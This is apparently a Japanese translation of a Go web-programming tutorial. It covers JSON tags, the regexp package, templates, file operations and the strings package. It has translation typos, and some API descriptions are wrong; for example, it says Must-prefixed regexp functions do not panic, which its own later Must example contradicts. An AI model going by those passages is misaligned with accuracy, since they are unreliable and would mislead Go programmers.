tagにカスタム定義の名前が含まれる場合、このカスタム定義された名前はJSONのフィールド名に出現します。例えば上の例のserverNameに当たります。

tagに"omitempty"オプションが含まれる場合、このフィールドの値が空であればJSON文字列の中には出力されません。

もしフィールドの型がbool, string, int, int65等で、tagに",string"オプションが含まれる場合、このフィールドがJSONに出力される際はこのフィールドに対応した値が変換されてJSON文字列となります。

例をあげてご説明しましょう：

type Server struct {
    // ID はJSONの中にエクスポートされません。
    ID int `json:"-"`

    // ServerName の値は二次JSONエンコーディングが行われます。
    ServerName  string `json:"serverName"`
    ServerName2 string `json:"serverName2,string"`

    // もし ServerIP が空であれば、JSON文字列の中には出力されません。
    ServerIP   string `json:"serverIP,omitempty"`
}

s := Server {
    ID:         3,
    ServerName:  `Go "1.0" `,
    ServerName2: `Go "1.0" `,
    ServerIP:   ``,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)

以下のような内容が出力されます：

{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}

Marshal関数は変換に成功した時のみデータを返します。変換の過程で注意しなければならないのは：

JSONオブジェクトはstringのみをkeyとしてサポートします。そのためmapをエンコードしたい場合は必ずmap[string]Tのような型となります。(TはGo言語の中の任意の型です。)

Channel, complexとfunctionはJSONにはエンコードされません。

ネストしたデータはエンコードされません。さもないとJSONのエンコードは永久ループに入ってしまいます。

ポインタがエンコードされる際はポインタが指定している内容が出力されます。空のポインタはnullを出力します。

この節ではどのようにGo言語のjson標準パッケージを使ってJSONデータをエンコードするかご紹介しました。同時にどのようにサードパーティパッケージであるgo-simplejsonを使っていくつかの状況で簡単な操作をご紹介しました。これらを学び運用に慣れることは以降にご紹介するWeb開発においてとても重要になります。

Generated by md2min

7.3 正規表現の処理

正規表現を使ってマッチングするか判断する

正規表現を使って内容を取得する

正規表現はパターンマッチとテキスト操作の複雑で強力なツールです。正規表現は純粋なテキストマッチングに比べ効率は劣りますが、より柔軟性に富みます。この文法規則に従い作り出されるパターンはオリジナルのテキストからあなたが必要とするほとんどすべての文字列の組み合わせをフィルターすることができます。もしWeb開発の中でなにかしらのテキストデータソースからデータを取り出す必要があれば、この文法規則にしたがって正確なパターン文字列を作ることで意味のあるテキスト情報をデータソースから取り出すことができます。

Go言語はregexp標準パッケージを使うことでオフィシャルに正規表現をサポートしています。もしあなたが他のプログラミング言語において提供されている正規表現と同等の機能を使ったことがあるのであれば、Go言語バージョンでもそれほど門外漢というわけではないはずです。しかしこれらの間でも少しばかりの違いがあります。なぜならGoが実装しているのはRE2スタンダードで、\Cを除いて詳細な文法の説明は以下をご参照ください：http://code.google.com/p/re2/wiki/Syntax

文字列処理はそもそもstringsパッケージを使うことで検索(Contains、Index)、置換(Replace)と懐石(Split、Join)といった操作を行うことができました。しかしこれらはどれも簡単な文字列操作にすぎません。これらの検索はどれも大文字と小文字を区別しますし、固定された文字列です。もし可変のこういったマッチングを行う必要があれば、実現する方法がありません。当然もしstringsパッケージがあなたの問題を解決できるのであれば、できるかぎりこれを使って解決すべきです。なぜならこれらは簡単で、性能と可読性も正規表現に比べてよいからです。

前のフォームの検証の節ですでに正規表現に触れたことを覚えていらっしゃるかもしれません。その時はこれを使って入力された情報が何らかの予め設定された条件を満足しているか検証するのに使いました。使用に際して注意すべきことは：いかなる文字列もすべてUTF-8でエンコードされているということです。以降ではより深くGo言語のregexpパッケージに関連する知識を学んでいきましょう。

正規表現を使ってマッチングするか判断する

regexpパッケージでは３つの関数を使ってマッチングを判断します。もしマッチングすればtrueを返し、さもなければfalseを返します。

func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)

上の３つの関数は同じ機能を実現しています。つまり、patternが入力ソースにマッチするかを判断しています。マッチングしたらtrueを返し、もし正規表現の解析でエラーが出たらerrorを返します。３つの関数の入力ソースはそれぞれbyte slice、RuneReaderとstringです。

入力がIPアドレスであるかどうか検証したい場合は、どのように判断すべきでしょうか？以下をご覧ください

func IsIP(ip string) (b bool) {
    if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
        return false
    }
    return true
}

ご覧のとおり、regexpのpatternと我々が通常使用している正規表現は全く一緒です。もう一つ例を見てみましょう：ユーザが文字列を入力し、この入力が正しいかどうか知りたいものとします：

func main() {
    if len(os.Args) == 1 {
        fmt.Println("Usage: regexp [string]")
        os.Exit(1)
    } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
        fmt.Println("数字です。")
    } else {
        fmt.Println("数字ではありません。")
    }
}

上の２つの例では、Match(Reader|String)を使って文字列が我々の要求に合致しているか判断しています。これらは非常に便利です。

正規表現を使って内容を取得する

Matchパターンは文字列の判断に対してのみ使うことができ、文字列の一部分を切り取ったり、文字列にフィルターをかけたり、合致する条件の文字列を取り出したりすることはできません。これらの需要を満足したければ、正規表現の複雑なパターンを使用する必要があります。

我々はよく一種のスクレイピングプログラムが必要となります。下ではスクレイピングを例にどのように正規表現を使って取得したデータに対しフィルタリングまたは切り取りを行うかご説明します：

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "regexp"
    "strings"
)

func main() {
    resp, err := http.Get("http://www.baidu.com")
    if err != nil {
        fmt.Println("http get error.")
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("http read error")
        return
    }

    src := string(body)

    //HTMLタグを全て小文字に変換します
    re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllStringFunc(src, strings.ToLower)

    //<style>タグを除去します
    re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
    src = re.ReplaceAllString(src, "")

    //<script>タグを除去
    re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
    src = re.ReplaceAllString(src, "")

    //<>内の全てのHTMLコードを削除し、改行文字に置き換えます
    re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllString(src, "\n")

    //連続した改行を除去します
    re, _ = regexp.Compile("\\s{2,}")
    src = re.ReplaceAllString(src, "\n")

    fmt.Println(strings.TrimSpace(src))
}

この例からわかるように、複雑な正規表現を使用する場合はまずCompileを行います。これは正規表現が正しいかどうかを解析し、もし正しければRegexpを返します。返されたRegexpは任意の文字列で必要な操作を実行することができるようになります。

正規表現の解析は以下のいくつかの方法があります：

func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp

CompilePOSIXとCompileの違いはPOSIXにはかならずPOSIX文法を使う必要があるということです。これは最長一致方式を使って検索を行い、Compileではただ最長一致方式が採用されます。(例えば[a-z]{2,4}のような正規表現を“aa09aaa88aaaa”というようなテキストに適用する際、CompilePOSIXはaaaaを返します。またCompileが返す正規表現はaaとなります)、前にMustとつく関数は正規表現の文法を解析する際もしパターンが正確な文法でなければ直接panicとならず、Mustのつかないものはただエラーを返します。

どのようにRegexpを作成するか理解したところで、このstructがどのような方法によって我々の文字列操作を提供しているのかもう一度見てみることにしましょう。まず下の検索を行うための関数を見てみます：

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

上の18個の関数は入力ソース(byte slice、stringおよびio.RuneReader)の違いに従って下のいくつかのように簡素化することができます。その他はただ入力ソースが異なるだけで、そのほかの機能は基本的に同じです：

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

これらの関数の使用に対して以下の例を見てみましょう

package main

import (
    "fmt"
    "regexp"
)

func main() {
    a := "I am learning Go language"

    re, _ := regexp.Compile("[a-z]{2,4}")

    //正規表現にマッチする最初のものを探し出す
    one := re.Find([]byte(a))
    fmt.Println("Find:", string(one))

    //正規表現にマッチするすべてのsliceを探し出す。nが0よりも小さかった場合はすべてのマッチする文字列を返します。さもなければ指定した長さが返ります。
    all := re.FindAll([]byte(a), -1)
    fmt.Println("FindAll", all)

    //条件にマッチするindexの位置を探し出す。開始位置と終了位置。
    index := re.FindIndex([]byte(a))
    fmt.Println("FindIndex", index)

    //条件にマッチするすべてのindexの位置を探し出す、nは同上
    allindex := re.FindAllIndex([]byte(a), -1)
    fmt.Println("FindAllIndex", allindex)

    re2, _ := regexp.Compile("am(.*)lang(.*)")

    //Submatchを探し出し、配列を返します。はじめの要素はマッチしたすべての要素です。２つ目の要素ははじめの()の中で、３つ目は２つ目の()の中です。
    //以下の出力でははじめの要素は"am learning Go language"です。
    //２つ目の要素は" learning Go "です。空白を含んで出力することに注意してください。
    //３つ目の要素は"uage"です。
    submatch := re2.FindSubmatch([]byte(a))
    fmt.Println("FindSubmatch", submatch)
    for _, v := range submatch {
        fmt.Println(string(v))
    }

    //定義と上のFindIndexは同じです。
    submatchindex := re2.FindSubmatchIndex([]byte(a))
    fmt.Println(submatchindex)

    //FindAllSubmatchは条件にマッチするすべてのサブマッチを探し出します。
    submatchall := re2.FindAllSubmatch([]byte(a), -1)
    fmt.Println(submatchall)

    //FindAllSubmatchIndexはすべてのサブマッチのindexを探し出します。
    submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
    fmt.Println(submatchallindex)
}

ここまででマッチ関数をご紹介しました。Regexpも３つの関数を定義しています。これらは同盟の外部関数と機能はまったく一緒です。じつは、外部関数はこのRegexpの３つの関数をコールすることで実現しています。

func (re *Regexp) Match(b []byte) bool
func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool

次に置換関数はどのように操作するか理解していきましょう。

func (re *Regexp) ReplaceAll(src, repl []byte) []byte
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string

これらの置換関数は上のスクレイピングの例に詳細な応用例があります。

次にExpandの解説を見てみましょう：

func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte

Expandは一体何に使われるのでしょうか？下の例をご覧ください：

func main() {
    src := []byte(`
        call hello alice
        hello bob
        call hello eve
    `)
    pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
    res := []byte{}
    for _, s := range pat.FindAllSubmatchIndex(src, -1) {
        res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
    }
    fmt.Println(string(res))
}

これまでに既にGo言語のregexpパッケージの全てをご紹介しました。これに対する主な関数の紹介と例を通して、みなさんはGo言語の正規表現パッケージを使って基本的な正規表現の操作が可能になったことと信じております。

Generated by md2min

7.4 テンプレートの処理

テンプレートとは何か

Goのテンプレートの使用

どのようにしてテンプレートの中にデータを挿入するのか？

フィールドの操作

ネストしたフィールドの内容の出力

条件分岐

pipelines

テンプレート変数

テンプレート関数

Must操作

ネストしたテンプレート

まとめ

テンプレートとは何か

おそらくあなたはMVCのデザインパターンについて聞いたことがあると思います。Modelはデータを処理を、Viewは表示結果を、Controllerはユーザのリクエストの制御を行います。Viewレイヤーの処理では、多くの動的な言語ではどれも静的なHTMLの中に動的言語が生成したデータを挿入します。例えばJSPでは<%=....=%>を挿入することで、PHPでは<?php.....?>を挿入することで実現します。

下の図でテンプレートのメカニズムについてご紹介します

図7.1 テンプレートのメカニズム図

Webアプリケーションがクライアントに返すフィードバックの情報の中の大部分の内容は静的で不変です。また少ない部分でユーザのリクエストによって動的に生成されるものがあります。例えばユーザのアクセスログリストを表示したい場合、ユーザ間ではログデータが異なるのみで、リストのスタイルは固定です。この時テンプレートを用いることで多くの静的なコードを使いまわすことができます。

Goのテンプレートの使用

Go言語では、templateパッケージを使用してテンプレートの処理を行います。Parse、ParseFile、Executeといった方法を使ってファイルや文字列からテンプレートをロードします。その後植えの図で示したテンプレートのmerge操作のようなものを実行します。下の例をご覧ください：

func handler(w http.ResponseWriter, r *http.Request) {
    t := template.New("some template") //テンプレートを新規に作成する。
    t, _ = t.ParseFiles("tmpl/welcome.html", nil)  //テンプレートファイルを解析
    user := GetUser() //現在のユーザの情報を取得する。
    t.Execute(w, user)  //テンプレートのmerger操作を実行する。
}

上の例で、Go言語のテンプレート操作は非常に簡単で便利だとおわかりいただけるかと思います。その他の言語のテンプレート処理に似ていて、まずデータを取得した後データを適用します。

デモとテストコードの簡便のため、以降の例では以下の形式のコードを採用します。

ParseFilesの代わりにParseを使用します。Parseは直接文字列をテストでき、外部のファイルを必要としないためです。

handlerを使ってデモコードを書くことはせず、それぞれひとつのmainをテストします。便利なテストです。

http.ResponseWriterの代わりにos.Stdoutを使用します。os.Stdoutはio.Writerインターフェースを実装しているからです。

どのようにしてテンプレートの中にデータを挿入するのか？

上においてどのように解析とテンプレートの適用するかデモを行いました。以降ではさらに詳しくどのようにデータを適用していくのか理解していきましょう。テンプレートはすべてGoのオブジェクト上で適用されます。Goオブジェクトのフィールドはどのようにしてテンプレートの中に挿入されるのでしょうか？

フィールドの操作

Go言語のテンプレートは{{}}を通して適用時に置換する必要のあるフィールドを含めます。{{.}}は現在のオブジェクトを示しています。これはJavaやC++の中のthisに似たものです。もし現在のオブジェクトのフィールドにアクセスしたい場合は{{.FieldName}}というようにします。ただし注意してください：このフィールドは必ずエクスポートされたものとなります（頭文字が大文字になります）、さもなければ適用時にエラーを発生させます。下の例をご覧ください：

package main

import (
    "html/template"
    "os"
)

type Person struct {
    UserName string
}

func main() {
    t := template.New("fieldname example")
    t, _ = t.Parse("hello {{.UserName}}!")
    p := Person{UserName: "Astaxie"}
    t.Execute(os.Stdout, p)
}

上のコードでは正しくhello Astaxieと出力されます。しかしもしコードに修正を加え、テンプレートにエクスポートされていないフィールドを含むと、エラーを発生させます。

type Person struct {
    UserName string
    email   string  //エクスポートされていないフィールド、頭文字が小文字です。
}

t, _ = t.Parse("hello {{.UserName}}! {{.email}}")

上のコードはエラーを発生させます。なぜならエクスポートされていないフィールドをコールしたためです。しかしもし存在しないフィールドをコールした場合はエラーを発生させず、空文字列を出力します。

テンプレートで{{.}}を出力すると、一般的には文字列オブジェクトに対して適用されます。デフォルトでfmtパッケージがコールされ文字列の内容が出力されます。

ネストしたフィールドの内容の出力

上の例でどのようにひとつのオブジェクトのフィールドを出力するか示しました。もしフィールドの中にまたオブジェクトがある場合は、どのようにループしてこれらの内容を出力するのでしょうか？ここでは{{with ...}}...{{end}}と{{range ...}}{{end}}によってデータを出力することができます。

{{range}} はGo言語の中のrangeに似ています。ループしてデータを操作します

{{with}}操作は現在のオブジェクトの値を指します。コンテキストの概念に似ています。

詳細な使用方法は以下の例をご覧ください：

package main

import (
    "html/template"
    "os"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t, _ = t.Parse(`hello {{.UserName}}!
            {{range .Emails}}
                an email {{.}}
            {{end}}
            {{with .Friends}}
            {{range .}}
                my friend name is {{.Fname}}
            {{end}}
            {{end}}
            `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}

条件分岐

Goテンプレートにおいてもし条件判断が必要となった場合は、Go言語のif-else文に似た方法を使用することで処理することができます。もしpipelineが空であれば、ifはデフォルトでfalseだと考えます。下の例でどのようにif-else文を使用するか示します：

package main

import (
    "os"
    "text/template"
)

func main() {
    tEmpty := template.New("template test")
    tEmpty = template.Must(tEmpty.Parse("空の pipeline if demo: {{if ``}} 出力されません。 {{end}}\n"))
    tEmpty.Execute(os.Stdout, nil)

    tWithValue := template.New("template test")
    tWithValue = template.Must(tWithValue.Parse("空ではない pipeline if demo: {{if `anything`}} コンテンツがあります。出力します。 {{end}}\n"))
    tWithValue.Execute(os.Stdout, nil)

    tIfElse := template.New("template test")
    tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n"))
    tIfElse.Execute(os.Stdout, nil)
}

上のデモコードを通してif-else文が相当簡単であることがわかりました。使用に際してとても簡単にテンプレートコードの中に集約されます。

注意：ifの中では条件判断を使用することができません。例えば、Mail==“astaxie@gmail.com”のような判断は誤りです。ifの中ではbool値のみ使用できます。

pipelines

Unixユーザはpipeについてよくご存知でしょう。ls | grep "beego"のような文法はよく使われるものですよね。カレントディレクトリ以下のファイルをフィルターし、“beego”を含むデータを表示します。前の出力を後の入力にするという意味があります。最後に必要なデータを表示します。Go言語のテンプレートの最大のアドバンテージはデータのpipeをサポートしていることです。Go言語の中でいかなる{{}}の中はすべてpipelinesデータです。例えば上で出力したemailにもしXSSインジェクションを引き起こす可能性があるとすると、どのように変換するのでしょうか？

{{. | html}}

emailが出力される場所では上のような方法で出力をすべてhtmlの実体に変換することができます。上のような方法は我々が普段書いているUnixの方法とまったく一緒ではないですか。とても簡単に操作することができます。他の関数をコールする場合も似たような方法となります。

テンプレート変数

ときどき、テンプレートを使っていてローカル変数を定義したい場合があります。操作の中でローカル変数を宣言することができます。例えばwithrangeifプロセスではローカル変数を宣言します。この変数のスコープは{{end}}の前です。Go言語で宣言されたローカル変数の形式は以下のとおりです：

$variable := pipeline

詳細な例は以下をご覧ください：

{{with $x := "output" | printf "%q"}}{{$x}}{{end}}
{{with $x := "output"}}{{printf "%q" $x}}{{end}}
{{with $x := "output"}}{{$x | printf "%q"}}{{end}}

テンプレート関数

テンプレートがオブジェクトのフィールドの値を出力する際、fmtパッケージを採用してオブジェクトを文字列に変換します。しかしときどき我々はこうしたくはないときもあります。例えばスパムメールの送信者がウェブページから拾い集めてくる方法で我々のメールボックスへ情報を送信することを防止したいときがあります。@をatに変換したいわけです。たとえば：astaxie at beego.meのように。このような機能を実装したい場合は、自分で定義した関数でこの機能を作成する必要があります。

各テンプレート関数はいずれも単一の名前をもっていて、一つのGo関数と関係しています。以下の方法によって関係をもたせます。

type FuncMap map[string]interface{}

例えば、もしemail関数のテンプレート関数の名前をemailDealとしたい場合は、これが関係するGo関数の名前はEmailDealWithとなります。下の方法でこの関数を登録することができます。

t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})

EmailDealWithという関数の引数と戻り値は以下のように定義します：

func EmailDealWith(args ...interface{}) string

以下の実装例を見てみましょう：

package main

import (
    "fmt"
    "html/template"
    "os"
    "strings"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func EmailDealWith(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    // find the @ symbol
    substrs := strings.Split(s, "@")
    if len(substrs) != 2 {
        return s
    }
    // replace the @ by " at "
    return (substrs[0] + " at " + substrs[1])
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
    t, _ = t.Parse(`hello {{.UserName}}!
                {{range .Emails}}
                    an emails {{.|emailDeal}}
                {{end}}
                {{with .Friends}}
                {{range .}}
                    my friend name is {{.Fname}}
                {{end}}
                {{end}}
                `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}

上ではどのように自分で関数を定義するかお見せしました。実は、テンプレートパッケージの内部ではすでにビルトインの関数が実装されています。下のコードを切り取って自分のテンプレートパッケージの中にはりつけてください。

var builtins = FuncMap{
    "and":      and,
    "call":     call,
    "html":     HTMLEscaper,
    "index":    index,
    "js":       JSEscaper,
    "len":      length,
    "not":      not,
    "or":       or,
    "print":    fmt.Sprint,
    "printf":   fmt.Sprintf,
    "println":  fmt.Sprintln,
    "urlquery": URLQueryEscaper,
}

Must操作

テンプレートパッケージにはMustという関数があります。この作用はテンプレートが正しいか検査することです。例えば大括弧が揃っているか、コメントは正しく閉じられているか、変数は正しく書かれているかといったことです。ここでは例を一つお見せします。Mustを使ってテンプレートが正しいか判断します：

package main

import (
    "fmt"
    "text/template"
)

func main() {
    tOk := template.New("first")
    template.Must(tOk.Parse(" some static text /* and a comment */"))
    fmt.Println("The first one parsed OK.")

    template.Must(template.New("second").Parse("some static text {{ .Name }}"))
    fmt.Println("The second one parsed OK.")

    fmt.Println("The next one ought to fail.")
    tErr := template.New("check parse error with Must")
    template.Must(tErr.Parse(" some static text {{ .Name }"))
}

讲输出如下内容

The first one parsed OK.
The second one parsed OK.
The next one ought to fail.
panic: template: check parse error with Must:1: unexpected "}" in command

ネストしたテンプレート

Webアプリケーションを作る時はテンプレートの一部が固定され不変である場合がよくあり、抜き出して独立した部分とすることができます。例えばブログのヘッダと降ったが固定で、変更があるのは真ん中のコンテンツの部分だけだとします。そのためheader、content、footerの３つの部分として定義することができます。Go言語では以下のような文法によってこれを宣言します

{{define "サブテンプレートの名前"}}コンテンツ{{end}}

以下の方法によってコールします：

{{template "サブテンプレートの名前"}}

ここではどのようにしてネストしたテンプレートを使うかお見せします。３つのファイルを定義します。header.tmpl、content.tmpl、footer.tmplファイルです。内容は以下のとおり

//header.tmpl
{{define "header"}}
<html>
<head>
    <title>デモンストレーションの情報</title>
</head>
<body>
{{end}}

//content.tmpl
{{define "content"}}
{{template "header"}}
<h1>ネストのデモ</h1>
<ul>
    <li>ネストではdefineを使用してサブテンプレートを定義します。</li>
    <li>templateの使用をコール</li>
</ul>
{{template "footer"}}
{{end}}

//footer.tmpl
{{define "footer"}}
</body>
</html>
{{end}}

デモコードは以下の通り：

package main

import (
    "fmt"
    "os"
    "text/template"
)

func main() {
    s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl")
    s1.ExecuteTemplate(os.Stdout, "header", nil)
    fmt.Println()
    s1.ExecuteTemplate(os.Stdout, "content", nil)
    fmt.Println()
    s1.ExecuteTemplate(os.Stdout, "footer", nil)
    fmt.Println()
    s1.Execute(os.Stdout, nil)
}

上の例でtemplate.ParseFilesを使ってすべてのネストしたテンプレートをテンプレートの中にパースできることがお分かりいただけたかと思います。各定義の{{define}}はすべて独立した一個のテンプレートで、互いに独立しています。並列して存在している関係です。内部ではmapのような関係(keyがテンプレートの名前で、valueがテンプレートの内容です。)が保存されています。その後ExecuteTemplateを使って対応するサブテンプレートの内容を実行します。headerとfooterのどちらも互いに独立していることがわかります。どれもコンテンツを出力できます。contentの中でheaderとfooterのコンテンツがネストしているので、同時に３つの内容を出力できます。しかし、s1.Executeを実行した時、何も出力されません。デフォルトではデフォルトのサブテンプレートが無いからです。そのため何も出力されません。

単一の集合のようなテンプレートは互いを知っています。もしあるテンプレートが複数の集合によって使用された場合、複数の集合の中で別々にパースされる必要があります。

まとめ

テンプレートに対する上記の詳細な紹介で、どのようにして動的なデータとテンプレートを融合させるかご理解いただけたかと思います：ループしたデータの出力、関数を定義、テンプレートのネスト等々。テンプレートの技術を応用することで、MVCパターンのVの処理を完成させることができます。以降の章ではどのようにMとCを処理するかご紹介します。

Generated by md2min

7.5 ファイルの操作

ディレクトリの操作

ファイルの操作

新規作成とファイルのオープン

ファイルへの書き込み

ファイルの読み込み

ファイルの削除

どのようなコンピュータ設備でもファイルは必要です。またWebプログラミングではファイルの操作はWebプログラマがよくぶつかる問題です。ファイルの操作はWebアプリケーションにおいて必須で、非常に有用です。我々はよくディレクトリ(フォルダ)の生成、ファイルの編集といった操作をすることになります。ここではGoによるこれらの操作をいくつかかいつまんで詳細に説明し、どのように使用するか実例をお見せします。

ディレクトリの操作

ファイル操作の大部分の関数はどれもosパッケージにあります。以下にいくつかディレクトリの操作を行うものを挙げます：

func Mkdir(name string, perm FileMode) error

名前がnameのディレクトリを作成します。パーミッションの設定はpermで、例えば0777です。

func MkdirAll(path string, perm FileMode) error

pathに従って階層的なサブディレクトリを作成します。たとえばastaxie/test1/test2です。

func Remove(name string) error

名前がnameのディレクトリを削除します。ディレクトリにファイルまたはその他のディレクトリがある場合はエラーを発生させます。

func RemoveAll(path string) error

pathに従って階層的なサブディレクトリを削除します。たとえばpathがあるひとつの名前であった場合、このディレクトリ以下のサブディレクトリが全て削除されます。

以下はコード例です：

package main

import (
    "fmt"
    "os"
)

func main() {
    os.Mkdir("astaxie", 0777)
    os.MkdirAll("astaxie/test1/test2", 0777)
    err := os.Remove("astaxie")
    if err != nil {
        fmt.Println(err)
    }
    os.RemoveAll("astaxie")
}

ファイルの操作

新規作成とファイルのオープン

ファイルを新規作成するには以下の２つのメソッドがあります

func Create(name string) (file *File, err Error)

与えられたファイル名に従って新しいファイルを作成し、ファイルオブジェクトを返します。デフォルトでパーミッションは0666のファイルになります。返されたファイルオブジェクトは読み書きできます。

func NewFile(fd uintptr, name string) *File

ファイルディスクリプタに従って対応するファイルを作成し、ファイルオブジェクトを返します。

以下の２つのメソッドによってファイルを開きます：

func Open(name string) (file *File, err Error)

このメソッドは名前がnameのファイルを開きます。しかし読み込みしかできません。内部では実はOpenFileがコールされています。

func OpenFile(name string, flag int, perm uint32) (file *File, err Error)

名前がnameのファイルを開きます。flagはオープンモードです。読み込むだけか、読み書きできるかといったものです。permはパーミッションです。

ファイルへの書き込み

ファイルへの書き込みを行う関数：

func (file *File) Write(b []byte) (n int, err Error)

byte型の情報をファイルに書き込みます。

func (file *File) WriteAt(b []byte, off int64) (n int, err Error)

指定した位置から開始してbyte型の情報を書き込みます。

func (file *File) WriteString(s string) (ret int, err Error)

string情報をファイルに書き込みます。

ファイルへの書き込みを行うコード例

package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "astaxie.txt"
    fout, err := os.Create(userFile)
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fout.Close()
    for i := 0; i < 10; i++ {
        fout.WriteString("Just a test!\r\n")
        fout.Write([]byte("Just a test!\r\n"))
    }
}

ファイルの読み込み

ファイルへの読み込みを行う関数：

func (file *File) Read(b []byte) (n int, err Error)

データを読み取りbに渡します

func (file *File) ReadAt(b []byte, off int64) (n int, err Error)

offから開始してデータを読み取りbに渡します

ファイルを読み取るコード例：

package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "asatxie.txt"
    fl, err := os.Open(userFile)
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fl.Close()
    buf := make([]byte, 1024)
    for {
        n, _ := fl.Read(buf)
        if 0 == n {
            break
        }
        os.Stdout.Write(buf[:n])
    }
}

ファイルの削除

Go言語ではファイルの削除とディレクトリの削除は同じ関数で行われます

func Remove(name string) Error

この関数をコールすることでファイル名がnameのファイルを削除できます

Generated by md2min

7.6 文字列の処理

文字列の操作

文字列の変換

文字列は我々が通常Web開発においてよく使うものです。ユーザの入力やデータベースでのデータの読み取りなどを含め、我々はよく文字列に対して分割、連結、変換といった操作を行います。この節ではGoの標準ライブラリにあるstringsとstrconvという２つのパッケージの関数を使ってどのようにして素早く操作を行うかご説明します。

文字列の操作

以下の関数はstringsパッケージに入っています。ここでは普段よく使う関数をいくつかご紹介します。詳細はオフィシャルドキュメントをご参照ください。

func Contains(s, substr string) bool

文字列sにsubstrが含まれるか判断します。bool値を返します。

fmt.Println(strings.Contains("seafood", "foo"))
fmt.Println(strings.Contains("seafood", "bar"))
fmt.Println(strings.Contains("seafood", ""))
fmt.Println(strings.Contains("", ""))
//Output:
//true
//false
//true
//true

func Join(a []string, sep string) string

文字列連結。slice aに対しsepで連結します。

s := []string{"foo", "bar", "baz"}
fmt.Println(strings.Join(s, ", "))
//Output:foo, bar, baz

func Index(s, sep string) int

文字列sでsepが存在する位置です。インデックスを返します。見つからなければ-1を返します。

fmt.Println(strings.Index("chicken", "ken"))
fmt.Println(strings.Index("chicken", "dmr"))
//Output:4
//-1

func Repeat(s string, count int) string

s文字列をcount回リピートします。最後にリピートされた文字列を返します。

fmt.Println("ba" + strings.Repeat("na", 2))
//Output:banana

func Replace(s, old, new string, n int) string

s文字列において、old文字列をnew文字列に置換します。nは置換回数を表しています。0以下では全て置換します。

fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))
